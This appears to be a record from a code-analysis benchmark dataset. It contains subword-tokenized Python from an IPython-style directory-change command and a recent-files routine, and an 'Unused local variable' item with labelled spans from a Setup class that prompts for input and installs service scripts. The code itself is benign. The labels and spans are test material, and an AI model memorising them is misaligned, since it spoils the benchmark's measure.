"]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n", "Num", "Items_", "=_", "len_", "(_", "Rece", "nt", "Files", "List_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Rece", "nt", "Files", "Max", "Size_", "=_", "core_", "._", "option", "Var_", "[_", "\"", "Rece", "nt", "Files", "Max", "Size", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "#", " ", "check", " ", "if", " ", "there", " ", "are", " ", "too", " ", "many", " ", "items", " ", "in", " ", "the", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "(", "Rece", "nt", "Files", "Max", "Size", " ", "<", " ", "n", "Num", "Item", "s", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "#", "if", " ", "so", ",", " ", "truncat", "e", " ", "the", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "n", "Num", "Item", "s", "To", "Be", "Remove", "d", " ", "=", " ", "n", "Num", "Item", "s", " ", "-", " ", "Rece", "nt", "Files", "Max", "Size_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "#", "Begin", " ", "remo", "ving", " ", "items", " ", "from", " ", "the", " ", "head", " ", "of", " ", "the", " ", "array", " ", "(", "leas", "t", " ", "recent", " ", "file", " ", "in", " ", "the", " ", "list", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "for", " ", "($", "i", " ", "=", " ", "0", ";", " ", "$", "i", " ", "<", " ", "$", "n", "Num", "Item", "s", "To", "Be", "Remove", "d", ";", " ", "$", "i", "++", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "core", ".", "option", "Var", " ", "-", "remove", "Fro", "m", "Array", " ", "\"", "Rece", "nt", "Files", "List", "\"", " ", "0", ";_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Rece", "nt", "Files", "List", " ", "=", " ", "core", ".", "option", "Var", "[\"", "Rece", "nt", "Files", "List", "\"]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "n", "Num", "Item", "s", " ", "=", " ", "len", "($", "Rece", "nt", "Files", "List", ");", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "Rece", "nt", "Files", "Type", "List", " ", "option", "Var", " ", "may", " ", "not", " ", "exist", " ", "sinc", "e", " ", "it", " ", "was", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "adde", "d", " ", "after", " ", "the", " ", "Rece", "nt", "Files", "List", " ", "option", "Var", ".", " ", "If", " ", "it", " ", "doe", "sn", "'", "t", " ", "exist", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "create", " ", "it", " ", "and", " ", "initialize", " ", "it", " ", "with", " ", "a", " ", "guess", " ", "at", " ", "the", " ", "file", " ", "type_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "n", "Num", "Items_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "Rece", "nt", "Files", "Type", "List", "\"_", "not_", "in_", "core_", "._", "option", "Var_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "core_", "._", "mel", "_", "._", "init", "Rece", "nt", "Files", "Type", "List_", "(_", "Rece", "nt", "Files", "List_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Rece", "nt", "Files", "Type", "List_", "=_", "core_", "._", "option", "Var_", "[_", "\"", "Rece", "nt", "Files", "Type", "List", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "to", "Nat", "ive", "Path_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "first", ",", " ", "check", " ", "if", " ", "we", " ", "are", " ", "the", " ", "same", "._", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "open", "\\u", "completer_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "relpath_", "=_", "event_", "._", "symbol_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "event", " ", "#", " ", "dbg_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'-", "b", "'_", "in_", "event_", "._", "line_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "return", " ", "only", " ", "bookmark", " ", "completions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bk", "ms_", "=_", "self_", "._", "db_", "._", "get_", "(_", "'", "bookmark", "s", "'_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "bk", "ms_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "event_", "._", "symbol_", "==_", "'-'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "completer", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "widt", "h", "\\u", "dh_", "=_", "str_", "(_", "len_", "(_", "str_", "(_", "len_", "(_", "ip_", "._", "user", "\\u", "ns_", "[_", "'\\u", "sh", "'_", "]_", ")_", "+_", "1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "widt", "h", "\\u", "dh_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "jump", " ", "in", " ", "director", "y", " ", "histo", "ry", " ", "by", " ", "number_", "\\u\\u\\uNL\\u\\u\\u_", "fmt_", "=_", "'-", "%", "0", "'_", "+_", "widt", "h", "\\u", "dh_", "+_", "'", "d", " ", "[", "%", "s", "]'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ents_", "=_", "[_", "fmt_", "%_", "(_", "i_", ",_", "s_", ")_", "for_", "i_", ",_", "s_", "in_", "enumerate_", "(_", "ip_", "._", "user", "\\u", "ns_", "[_", "'\\u", "sh", "'_", "]_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "ents_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "ents_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "IP", "ython_", "._", "ipa", "pi_", "._", "Tr", "y", "Next_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "magic", "\\u", "open_", "(_", "self_", ",_", "parameter", "\\u", "s_", "=_", "''_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Change", " ", "the", " ", "current", " ", "working", " ", "director", "y", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "command", " ", "automati", "call", "y", " ", "maintain", "s", " ", "an", " ", "internal", " ", "list", " ", "of", " ", "director", "ies", "\\", "10", ";", " ", " ", " ", " ", "you", " ", "visit", " ", "dur", "ing", " ", "your", " ", "IP", "yth", "on", " ", "session", ",", " ", "in", " ", "the", " ", "variab", "le", " ", "\\u", "sh", ".", " ", "The", "\\", "10", ";", " ", " ", " ", " ", "command", " ", "%", "dh", "ist", " ", "show", "s", " ", "this", " ", "histo", "ry", " ", "nice", "ly", " ", "format", "ted", ".", " ", "You", " ", "can", " ", "als", "o", "\\", "10", ";", " ", " ", " ", " ", "do", " ", "'", "cd", " ", "-", "<", "tab", ">'", " ", "to", " ", "see", " ", "director", "y", " ", "histo", "ry", " ", "convenien", "tl", "y", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Us", "age", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", "open", "File", " ", "'", "dir", "':", " ", "change", "s", " ", "to", " ", "director", "y", " ", "'", "dir", "'.", "\\", "10", ";", "\\", "10", ";", " ", " ", "open", "File", " ", "-", ":", " ", "change", "s", " ", "to", " ", "the", " ", "last", " ", "visit", "ed", " ", "director", "y", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "open", "File", " ", "-", "<", "n", ">:", " ", "change", "s", " ", "to", " ", "the", " ", "n", "-", "th", " ", "director", "y", " ", "in", " ", "the", " ", "director", "y", " ", "histo", "ry", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "open", "File", " ", "--", "foo", ":", " ", "change", " ", "to", " ", "director", "y", " ", "tha", "t", " ", "matche", "s", " ", "'", "foo", "'", " ", "in", " ", "histo", "ry", "\\", "10", ";", "\\", "10", ";", " ", " ", "open", "File", " ", "-", "b", " ", "<", "bookmark", "\\u", "name", ">:", " ", "jump", " ", "to", " ", "a", " ", "bookmark", " ", "set", " ", "by", " ", "%", "bookmark", "\\", "10", ";", " ", " ", " ", " ", " ", "(", "note", ":", " ", "cd", " ", "<", "bookmark", "\\u", "name", ">", " ", "is", " ", "eno", "ugh", " ", "if", " ", "there", " ", "is", " ", "no", "\\", "10", ";", " ", " ", "director", "y", " ", "<", "bookmark", "\\u", "name", ">", ",", " ", "but", " ", "a", " ", "bookmark", " ", "with", " ", "the", " ", "name", " ", "exist", "s", ".)", "\\", "10", ";", " ", " ", "'", "cd", " ", "-", "b", " ", "<", "tab", ">'", " ", "allow", "s", " ", "you", " ", "to", " ", "tab", "-", "complete", " ", "bookmark", " ", "names", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Optio", "ns", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "-", "q", ":", " ", "quie", "t", ".", " ", " ", "Do", " ", "not", " ", "print", " ", "the", " ", "working", " ", "director", "y", " ", "after", " ", "the", " ", "cd", " ", "command", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "executed", ".", " ", " ", "By", " ", "default", " ", "IP", "yth", "on", "'", "s", " ", "cd", " ", "command", " ", "doe", "s", " ", "print", " ", "this", " ", "director", "y", ",", "\\", "10", ";", " ", " ", " ", " ", "sinc", "e", " ", "the", " ", "default", " ", "prompt", "s", " ", "do", " ", "not", " ", "display", " ", "path", " ", "informati", "on", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "!", "cd", " ", "doe", "sn", "'", "t", " ", "work", " ", "for", " ", "this", " ", "purpose", " ", "bec", "aus", "e", " ", "the", " ", "shell", " ", "where", "\\", "10", ";", " ", " ", " ", " ", "!", "command", " ", "runs", " ", "is", " ", "immediate", "ly", " ", "discard", "ed", " ", "after", " ", "executi", "ng", " ", "'", "command", "'.", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "parameter", "\\u", "s_", "=_", "parameter", "\\u", "s_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "bk", "ms", " ", "=", " ", "self", ".", "shell", ".", "persist", ".", "get", "(\"", "bookmark", "s", "\",", "{})", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "oldc", "wd_", "=_", "os_", "._", "getcwd_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "numc", "d_", "=_", "re_", "._", "match_", "(_", "r", "'(", "-)", "(\\\\", "d", "+)$'_", ",_", "parameter", "\\u", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "jump", " ", "in", " ", "director", "y", " ", "histo", "ry", " ", "by", " ", "number_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "numc", "d_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nn_", "=_", "int_", "(_", "numc", "d_", "._", "group_", "(_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ps_", "=_", "ip_", "._", "ev_", "(_", "'\\u", "sh", "[", "%", "d", "]'_", "%_", "nn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Index", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "The", " ", "request", "ed", " ", "director", "y", " ", "doe", "s", " ", "not", " ", "exist", " ", "in", " ", "histo", "ry", ".'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opts_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "eli", "f", " ", "parameter", "\\u", "s", ".", "startswith", "('", "--", "')", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "ps", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "fall", "back", " ", "=", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "pat", " ", "=", " ", "parameter", "\\u", "s", "[", "2", ":]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "dh", " ", "=", " ", "self", ".", "shell", ".", "user", "\\u", "ns", "['", "\\u", "sh", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "#", " ", "first", " ", "search", " ", "only", " ", "by", " ", "basen", "ame", " ", "(", "last", " ", "component", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "for", " ", "ent", " ", "in", " ", "reverse", "d", "(", "dh", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "pat", " ", "in", " ", "os", ".", "path", ".", "basen", "ame", "(", "ent", ")", " ", "and", " ", "os", ".", "path", ".", "isdi", "r", "(", "ent", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "ps", " ", "=", " ", "ent_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "break_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "fall", "back", " ", "is", " ", "Non", "e", " ", "and", " ", "pat", " ", "in", " ", "ent", " ", "and", " ", "os", ".", "path", ".", "isdi", "r", "(", "ent", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "fall", "back", " ", "=", " ", "ent_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "#", " ", "if", " ", "we", " ", "have", " ", "no", " ", "last", " ", "part", " ", "match", ",", " ", "pick", " ", "the", " ", "first", " ", "full", " ", "path", " ", "match_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "ps", " ", "is", " ", "Non", "e", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "ps", " ", "=", " ", "fallback_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "ps", " ", "is", " ", "Non", "e", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "\"", "No", " ", "matchi", "ng", " ", "entry", " ", "in", " ", "director", "y", " ", "histo", "ry", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "return_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "opts", " ", "=", " ", "{}", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "turn", " ", "all", " ", "non", "-", "space", "-", "esca", "ping", " ", "backslash", "es", " ", "to", " ", "slash", "es", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "c", ":\\\\", "windows", "\\\\", "director", "y", "\\\\", "names", "\\\\_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parameter", "\\u", "s_", "=_", "re_", "._", "sub_", "(_", "r", "'\\\\\\\\", "(?!", " ", ")'_", ",_", "'/'_", ",_", "parameter", "\\u", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "opts_", ",_", "ps_", "=_", "self_", "._", "parse", "\\u", "options_", "(_", "parameter", "\\u", "s_", ",_", "'", "qb", "'_", ",_", "mode_", "=_", "'", "string", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "jump", " ", "to", " ", "previous_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ps_", "==_", "'-'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ps_", "=_", "ip_", "._", "ev_", "(_", "'\\u", "sh", "[-", "2", "]'_", "%_", "nn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Index", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Us", "age", "Error_", "(_", "'%", "cd", " ", "-", ":", " ", "No", " ", "previ", "ous", " ", "director", "y", " ", "to", " ", "change", " ", "to", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "#", " ", "jump", " ", "to", " ", "bookmark", " ", "if", " ", "needed_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "not", " ", "os", ".", "path", ".", "exist", "s", "(", "ps", ")", " ", "or", " ", "opts", ".", "has", "\\u", "key", "('", "b", "')", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "bk", "ms", " ", "=", " ", "self", ".", "db", ".", "get", "('", "bookmark", "s", "',", " ", "{})", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "bk", "ms", ".", "has", "\\u", "key", "(", "ps", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "target", " ", "=", " ", "bk", "ms", "[", "ps", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "print", " ", "'(", "bookmark", ":", "%", "s", ")", " ", "->", " ", "%", "s", "'", " ", "%", " ", "(", "ps", ",", "target", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "ps", " ", "=", " ", "target_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "if", " ", "opts", ".", "has", "\\u", "key", "('", "b", "')", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "raise", " ", "Us", "age", "Error", "(\"", "Bookmark", " ", "'%", "s", "'", " ", "not", " ", "found", ".", " ", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "\"", "Us", "e", " ", "'%%", "bookmark", " ", "-", "l", "'", " ", "to", " ", "see", " ", "your", " ", "bookmark", "s", ".\"", " ", "%", " ", "ps", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "at", " ", "this", " ", "point", " ", "ps", " ", "shou", "ld", " ", "point", " ", "to", " ", "the", " ", "target", " ", "dir_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ps_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ip_", "._", "ex_", "(_", "'", "open", "File", "(\"", "%", "s", "\",", " ", "f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ultValue=None):\n try:\n if defaultValue:\n user_input = raw_input(\"%s [%s] : \" % (prompt, defaultValue)).strip()\n if user_input == '':\n return defaultValue\n else:\n return user_input\n else:\n input = False\n while not input:\n user_input = raw_input(\"%s : \" % prompt).strip()\n if user_input != '':\n input = True\n return user_input\n except KeyboardInterrupt:\n sys.exit()\n except:\n return None", "metadata": "root.Setup.getPrompt", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 995 }, { "content": " def setup_init_scripts(self):\n if self.os_type in ['centos', 'redhat', 'fedora'] and self.os_initdaemon == 'systemd':\n script_name = os.path.split(self.tomcat_template_centos7)[-1]\n dest_folder = os.path.dirname(self.tomcat_service_centos7)\n try:\n self.copyFile(self.tomcat_template_centos7, dest_folder)\n self.run([\"chmod\", \"755\", self.tomcat_service_centos7])\n self.run([self.tomcat_service_centos7, \"install\"])\n except:\n self.logIt(\"Error copying script file %s to %s\" % (self.tomcat_template_centos7, dest_folder))\n self.logIt(traceback.format_exc(), True)\n else:\n for init_file in self.init_files:\n try:\n script_name = os.path.split(init_file)[-1]\n self.copyFile(init_file, \"/etc/init.d\")\n self.run([\"chmod\", \"755\", \"/etc/init.d/%s\" % script_name])\n except:\n self.logIt(\"Error copying script file %s to /etc/init.d\" % init_file)\n self.logIt(traceback.format_exc(), True)\n\n if self.os_type in ['centos', 'redhat', 'fedora']:\n for service in self.redhat_services:\n self.run([\"/sbin/chkconfig\", service, \"on\"])\n elif self.os_type in ['ubuntu', 'debian']:\n self.run([\"/usr/sbin/update-rc.d\", 'tomcat', 'start', '50', '3', \".\"])\n for service in self.debian_services:\n self.run([\"/usr/sbin/update-rc.d\", service, 'enable'])", "metadata": "root.Setup.setup_init_scripts", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1687 } ]
[ { "span": "input ", "start_line": 1008, "start_column": 24, "end_line": 1008, "end_column": 29 }, { "span": "script_name ", "start_line": 1689, "start_column": 16, "end_line": 1689, "end_column": 27 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Prompt_", "(_", "self_", ",_", "prompt_", ",_", "default", "Value_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "default", "Value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "input_", "=_", "raw", "\\u", "input_", "(_", "\"%", "s", " ", "[", "%", "s", "]", " ", ":", " ", "\"_", "%_", "(_", "prompt_", ",_", "default", "Value_", ")_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user", "\\u", "input_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "default", "Value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "user", "\\u", "input_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "input_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "user", "\\u", "input_", "=_", "raw", "\\u", "input_", "(_", "\"%", "s", " ", ":", " ", "\"_", "%_", "prompt_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user", "\\u", "input_", "!=_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "input_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "user", "\\u", "input_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "board", "Interrupt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "setup", "\\u", "init", "\\u", "scripts_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "cent", "os", "'_", ",_", "'", "red", "hat", "'_", ",_", "'", "fedo", "ra", "'_", "]_", "and_", "self_", "._", "os", "\\u", "init", "daemon_", "==_", "'", "system", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "script", "\\u", "name_", "=_", "os_", "._", "path_", "._", "split_", "(_", "self_", "._", "tom", "cat", "\\u", "template", "\\u", "cent", "os", "7_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest", "\\u", "folder_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "self_", "._", "tom", "cat", "\\u", "service", "\\u", "cent", "os", "7_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "copy", "File_", "(_", "self_", "._", "tom", "cat", "\\u", "template", "\\u", "cent", "os", "7_", ",_", "dest", "\\u", "folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "\"", "chm", "od", "\"_", ",_", "\"", "755", "\"_", ",_", "self_", "._", "tom", "cat", "\\u", "service", "\\u", "cent", "os", "7_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "self_", "._", "tom", "cat", "\\u", "service", "\\u", "cent", "os", "7_", ",_", "\"", "install", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 